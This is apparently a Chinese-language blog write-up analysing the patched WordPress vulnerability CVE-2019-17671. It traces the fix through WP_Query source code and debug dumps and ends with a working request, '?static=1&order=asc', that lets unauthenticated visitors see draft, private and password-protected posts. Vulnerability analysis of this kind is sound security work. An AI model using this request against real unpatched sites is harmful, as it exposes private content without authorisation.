如何查看WordPress未授权文章
如何查看WordPress未授权文章
这篇文章给大家介绍如何查看WordPress未授权文章,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
近期,WordPress发布了最新的v5.2.4版本,并修复了很多安全漏洞。我们将对其中的一个漏洞CVE-2019-17671进行分析。
信息收集
该漏洞由安全专家J.D.Grimes发现并上报,并且披露了如何利用该漏洞查看未授权文章的方法。但是目前我还找不到任何相关的PoC,因此首先我们需要尽可能地收集关于该漏洞的信息。首先,我查看了不同安全厂商关于该漏洞的声明,大部分厂商都引用了相同的一句话:“该漏洞也许可以允许他人查看WordPress中未授权的文章”。
参考资料
1、https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
2、https://blog.wpsec.com/wordpress-5-2-4-security-release/
3、https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/
根据收集到的信息,我在WordPress的SVN仓库/GitHub库中,找到了5.2-branch分支,点击最近的commit,然后查看提到了“unauthenticated posts”或者“viewing posts”的相关commit。此时,我找到了一个相关的commit:f82ed753cf00329a5e41f2cb6dc521085136f308。
补丁分析
这一个commit只修改了两行代码,删除了static关键字,并修改了部分if条件语句:
根据我的猜想,被删除的static关键字跟这个漏洞有着直接的关系。wp-includes/class-wp-query.php的第731行代码开始包含parse_query函数了,而该函数可以过滤并解析传入的所有查询参数($_GET)。
从第696行到第922行的代码可以根据给定的参数来设置$this->is_single、$this->is_attachment以及$this->is_page。这些条件分支都基于else if实现,但其中只有一个比较关键:
//Ifyear,month,day,hour,minute,andsecondareset,asingle//postisbeingqueried.}elseif(''!=$qv['static']||''!=$qv['pagename']||!empty($qv['page_id'])){$this->is_page=true;$this->is_single=false;}else{//Lookforarchivequeries.Dates,categories,authors,search,posttypearchives.
我们肯定不是想设置attachment、name、p或者hour之类的参数,因为这些参数可以绕过代码中的条件分支。但是我们又不能直接设置pagename或page_id,因为我们并不知道这些参数的值,而且些参数将可能导致访问控制检查失效。
这里,我们需要在参数列表中使用static=1。研究了半天之后,我找到了get_posts()函数,而这个函数可以使用已解析的参数来查询数据库内容:
publicfunctionget_posts(){global$wpdb;$this->parse_query();[..]
在多个位置使用var_dump调试后,我找到了下列代码:
//Checkpoststatustodetermineifpostshouldbedisplayed.if(!empty($this->posts)&&($this->is_single||$this->is_page)){$status=get_post_status($this->posts[0]);if('attachment'===$this->posts[0]->post_type&&0===(int)$this->posts[0]->post_parent){$this->is_page=false;$this->is_single=true;$this->is_attachment=true;}$post_status_obj=get_post_status_object($status);//PoC:Let'sseewhatwehave//var_dump($q_status);//var_dump($post_status_obj);//Ifthepost_statuswasspecificallyrequested,letitpassthrough.if(!$post_status_obj->public&&!in_array($status,$q_status)){//var_dump("PoC:Incorrectstatus!:-/");if(!is_user_logged_in()){//Usermustbeloggedintoviewunpublishedposts.$this->posts=array();//var_dump("PoC:Noposts:-(");}else{if($post_status_obj->protected){//Usermusthaveeditpermissionsonthedrafttopreview.if(!current_user_can($edit_cap,$this->posts[0]->ID)){$this->posts=array();}else{$this->is_preview=true;if('future'!=$status){$this->posts[0]->post_date=current_time('mysql');}}}elseif($post_status_obj->private){if(!current_user_can($read_cap,$this->posts[0]->ID)){$this->posts=array();}}else{$this->posts=array();}}}
除了static=1之外,我们并没有设置其他特定的查询参数,我们在$this->posts = $wpdb->get_results($this->request);语句之前插入var_dump($this->request);,输出的结果如下:
string(112)"SELECTwp_posts.*FROMwp_postsWHERE1=1ANDwp_posts.post_type='page'ORDERBYwp_posts.post_dateDESC"
该语句可以返回数据库中的所有页面,包括password protected、pending及drafts类别的页面。因此,! empty( $this->posts ) && ( $this->is_single || $this->is_page )对应的值为true。
接下来,该函数会检查第一篇文章的状态“$status = get_post_status( $this->posts[0] );”:
if(!$post_status_obj->public&&!in_array($status,$q_status)){
如果第一篇文章的状态不是public,则将进一步执行访问控制检查。比如,当用户未经授权时,代码将会清空$this->posts。
漏洞利用
利用该漏洞的方法也非常简单,首先我们可以控制查询流程,使第一篇文章的状态为published,但返回数组中包含多篇文章。
我们首先需要创建一些测试页面:即一个处于已发布状态的页面和一个处于草稿状态的页面。
这里我使用的是页面,因为post_type='page'是WordPress的默认设置,但如果有需要,我们可以设置&post_type=post,这样就能修改文章类型,变成post_type = 'post'。
目前我们知道,如果在WordPress的URL添加?static=1,即可以查看到网站的隐私内容。在访问控制检查代码的前面插入var_dump($this->posts);,可以看到http://wordpress.local/?static=1这个URL会返回如下内容:
array(2){[0]=>object(WP_Post)#763(24){["ID"]=>int(43)["post_author"]=>string(1)"1"["post_date"]=>string(19)"2019-10-2003:55:29"["post_date_gmt"]=>string(19)"0000-00-0000:00:00"["post_content"]=>string(79)"<!--wp:paragraph--><p>Adraftwithsecretcontent</p><!--/wp:paragraph-->"["post_title"]=>string(7)"Adraft"["post_excerpt"]=>string(0)""["post_status"]=>string(5)"draft"["comment_status"]=>string(6)"closed"["ping_status"]=>string(6)"closed"["post_password"]=>string(0)""["post_name"]=>string(0)""["to_ping"]=>string(0)""["pinged"]=>string(0)""["post_modified"]=>string(19)"2019-10-2003:55:29"["post_modified_gmt"]=>string(19)"2019-10-2003:55:29"["post_content_filtered"]=>string(0)""["post_parent"]=>int(0)["guid"]=>string(34)"http://wordpress.local/?page_id=43"["menu_order"]=>int(0)["post_type"]=>string(4)"page"["post_mime_type"]=>string(0)""["comment_count"]=>string(1)"0"["filter"]=>string(3)"raw"}[1]=>object(WP_Post)#764(24){["ID"]=>int(41)["post_author"]=>string(1)"1"["post_date"]=>string(19)"2019-10-2003:54:50"["post_date_gmt"]=>string(19)"2019-10-2003:54:50"["post_content"]=>string(66)"<!--wp:paragraph--><p>Publiccontent</p><!--/wp:paragraph-->"["post_title"]=>string(13)"Apublicpage"["post_excerpt"]=>string(0)""["post_status"]=>string(7)"publish"["comment_status"]=>string(6)"closed"["ping_status"]=>string(6)"closed"["post_password"]=>string(0)""["post_name"]=>string(13)"a-public-page"["to_ping"]=>string(0)""["pinged"]=>string(0)""["post_modified"]=>string(19)"2019-10-2003:55:10"["post_modified_gmt"]=>string(19)"2019-10-2003:55:10"["post_content_filtered"]=>string(0)""["post_parent"]=>int(0)["guid"]=>string(34)"http://wordpress.local/?page_id=41"["menu_order"]=>int(0)["post_type"]=>string(4)"page"["post_mime_type"]=>string(0)""["comment_count"]=>string(1)"0"["filter"]=>string(3)"raw"}}
大家可以看到,数组中的第一个页面为草稿(["post_status"]=>string(5) "draft"),因此页面是没有内容的:
但是,我们可以使用其他的方法来控制返回的内容:
1、order with asc or desc
2、orderby
3、m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format
4、...
在这种场景下,我们只需要颠倒返回元素的顺序即可实现漏洞利用。
接下来,访问http://wordpress.local/?static=1&order=asc,我们就可以查看到隐私内容了:
除此之外,我们还可以利用该漏洞查看password protected以及private状态的文章:
关于如何查看WordPress未授权文章就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
推荐阅读
-
wordpress(搭建小程序 怎么建立自已的博客)
怎么建立自已的博客?主要具体的流程统称:1.域名2.购买主机空间3.上传的图片程序4.域名指向5.ftp访问听从6.网站里正式上不...
-
世界上最好的语言PHP,是否名副其实?
-
WordPress 内置的数组处理相关函数大全
-
WordPress如何使用Cookies?
-
WordPress主题开发教程十:日志导航链接
-
WordPress 的安装部署
-
快速搭建WordPress博客站点,并内网穿透实现公网访问
-
如何部署一个生产级别的 Kubernetes 应用
-
禁止 WordPress 媒体库上传图片自动生成多个规格尺寸
-
Centos中怎么配置WordPress